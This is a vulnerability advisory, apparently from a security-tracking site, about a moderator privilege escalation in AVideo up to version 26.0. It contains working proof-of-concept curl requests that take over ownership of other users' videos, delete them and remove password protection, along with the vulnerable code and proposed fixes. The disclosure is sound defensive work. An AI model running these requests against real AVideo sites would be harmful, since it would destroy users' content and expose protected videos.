| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| wwbn/avideo | ≤ 26.0 | |
| avideo | ≤ 26.0 |
A user with the "Videos Moderator" permission can escalate privileges to perform full video management operations — including ownership transfer and deletion of any video — despite the permission being documented as only allowing video publicity changes (Active, Inactive, Unlisted). The root cause is that Permissions::canModerateVideos() is used as an authorization gate for full video editing in videoAddNew.json.php, while videoDelete.json.php only checks ownership, creating an asymmetric authorization boundary exploitable via a two-step ownership-transfer-then-delete chain.
The PERMISSION_INACTIVATEVIDEOS (ID 11) permission is described as a limited moderator role in plugin/Permissions/Permissions.php:213:
$permissions[] = new PluginPermissionOption(
Permissions::PERMISSION_INACTIVATEVIDEOS,
__('Videos Moderator'),
__('This is a level below the (Videos Admin), this type of user can change the video publicity (Active, Inactive, Unlisted)'),
'Permissions'
);
However, Permissions::canModerateVideos() (Permissions.php:175) is reused as an authorization gate in multiple locations in videoAddNew.json.php that go far beyond status changes:
1. Upload gate bypass (videoAddNew.json.php:10):
User::canUpload() (user.php:2650) returns true if Permissions::canModerateVideos() is true, granting moderators upload access.
2. Edit gate bypass (videoAddNew.json.php:19):
if (!Video::canEdit($_POST['id']) && !Permissions::canModerateVideos()) {
die('{"error":"2 ' . __("Permission denied") . '"}');
}
Video::canEdit() correctly checks only canAdminVideos() and ownership, but the || !Permissions::canModerateVideos() fallback allows moderators to edit any video.
3. Ownership transfer (videoAddNew.json.php:222):
if ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canModerateVideos() ||
Users_affiliations::isUserAffiliateOrCompanyToEachOther($obj->getUsers_id(), $_POST['users_id'])) {
$obj->setUsers_id($_POST['users_id']);
}
userCanChangeVideoOwner defaults to false (CustomizeUser.php:286), but canModerateVideos() provides an unconditional bypass, allowing any moderator to reassign ownership of any video.
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phí4. Delete via ownership (videoDelete.json.php:22-28):
if(empty($video->getUsers_id()) || $video->getUsers_id() != User::getId()){
if (!$video->userCanManageVideo()) {
// denied
}
}
$id = $video->delete();
userCanManageVideo() (video.php:3614) checks canAdminVideos() (not canModerateVideos()), then falls back to ownership. After the ownership transfer in step 3, the moderator is now the owner, so this check passes.
The authorization asymmetry: videoAddNew.json.php treats canModerateVideos() as equivalent to canAdminVideos(), but videoDelete.json.php and userCanManageVideo() do not — creating a gap exploitable by transferring ownership first.
Additional fields a moderator can modify beyond their intended scope:
only_for_paid (line 210) — make premium content freevideo_password (line 211) — change/remove password protectioncategories_id (line 168) — alter content categorizationvideoGroups (line 175) — modify user group visibilityPrerequisites: An account with the "Videos Moderator" permission (PERMISSION_INACTIVATEVIDEOS = 11) and a target video ID owned by another user.
Step 1: Transfer ownership of target video to attacker
# ATTACKER_USER_ID = moderator's user ID
# TARGET_VIDEO_ID = ID of video owned by another user (e.g., admin)
curl -s -b cookies.txt -X POST \
'http://localhost/objects/videoAddNew.json.php' \
-d "id=TARGET_VIDEO_ID&users_id=ATTACKER_USER_ID&title=unchanged"
Expected response: {"status":true, ...} — ownership is now transferred to the attacker.
Step 2: Delete the video (now owned by attacker)
curl -s -b cookies.txt -X POST \
'http://localhost/objects/videoDelete.json.php' \
-d "id[]=TARGET_VIDEO_ID"
Expected response: {"error":false, ...} — video is deleted. The owner check at line 22 passes because the moderator is now the recorded owner.
Step 3 (additional impact): Access password-protected video
curl -s -b cookies.txt -X POST \
'http://localhost/objects/videoAddNew.json.php' \
-d "id=TARGET_VIDEO_ID&video_password=&title=unchanged"
This removes the video password, granting the moderator (and everyone) access to previously protected content.
only_for_paid), video passwords, categories, and user group visibility on any video — all exceeding the documented scope of "change video publicity."The blast radius is any video on the platform. Any user granted the "Videos Moderator" role — which administrators may grant freely assuming it only allows status changes — gains effective full video management capabilities.
Replace Permissions::canModerateVideos() with Permissions::canAdminVideos() in videoAddNew.json.php where full edit capabilities are granted. Keep canModerateVideos() only for the specific status/publicity change operations it was designed for.
Fix for ownership transfer (videoAddNew.json.php:222):
// Before (vulnerable):
if ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canModerateVideos() || ...
// After (fixed):
if ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canAdminVideos() || ...
Fix for edit gate (videoAddNew.json.php:19):
// Before (vulnerable):
if (!Video::canEdit($_POST['id']) && !Permissions::canModerateVideos()) {
// After (fixed):
if (!Video::canEdit($_POST['id']) && !Permissions::canAdminVideos()) {
Then create a separate, narrower code path for moderators that only allows changing video status/publicity fields. Alternatively, refactor videoAddNew.json.php to check canModerateVideos() only around the specific status-change logic (lines 238-248) and require canAdminVideos() for all other fields.